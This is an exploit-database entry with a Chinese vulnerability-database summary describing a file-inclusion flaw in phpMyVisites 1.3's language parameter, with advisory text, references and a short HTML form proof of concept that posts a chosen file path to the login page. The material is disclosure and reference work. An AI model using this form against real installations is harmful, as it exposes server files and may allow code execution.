https://www.exploit-db.com/exploits/25531
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200505-380

phpMyVisites1.3的set_lang.php允许远程攻击者通过mylang参数来读取和包含任意文件。

source: http://www.securityfocus.com/bid/13370/info

phpMyVisites allows attackers to include arbitrary files. While it has been demonstrated that local files may be included through this vulnerability, there is an unconfirmed possibility of remote file inclusion.

Exploitation could disclose local files, or in the case of remote file inclusion, let the attacker execute malicious PHP code.

The issue is known to affect phpMyVisites 1.3. Other versions may also be affected. 

<form action="http://[pathtoyourphpMyVisites]/login.php" method="POST">
Local file: <input type="text" name="mylang" value="" />
<input type="submit" value="Alexx says RELAX!">
</form>

来源:BID
名称:13370
链接:http://www.securityfocus.com/bid/13370
来源:BUGTRAQ
名称:20050426[exploits]phpMyVisites1.3localfileretrieval
链接:http://marc.theaimsgroup.com/?l=bugtraq&m;=111454298603060&w;=2
来源:cvs.sourceforge.net
链接:http://cvs.sourceforge.net/viewcvs.py/phpmyvisites/phpmyvisites/include/set_lang.php?r1=1.5&r2;=1.6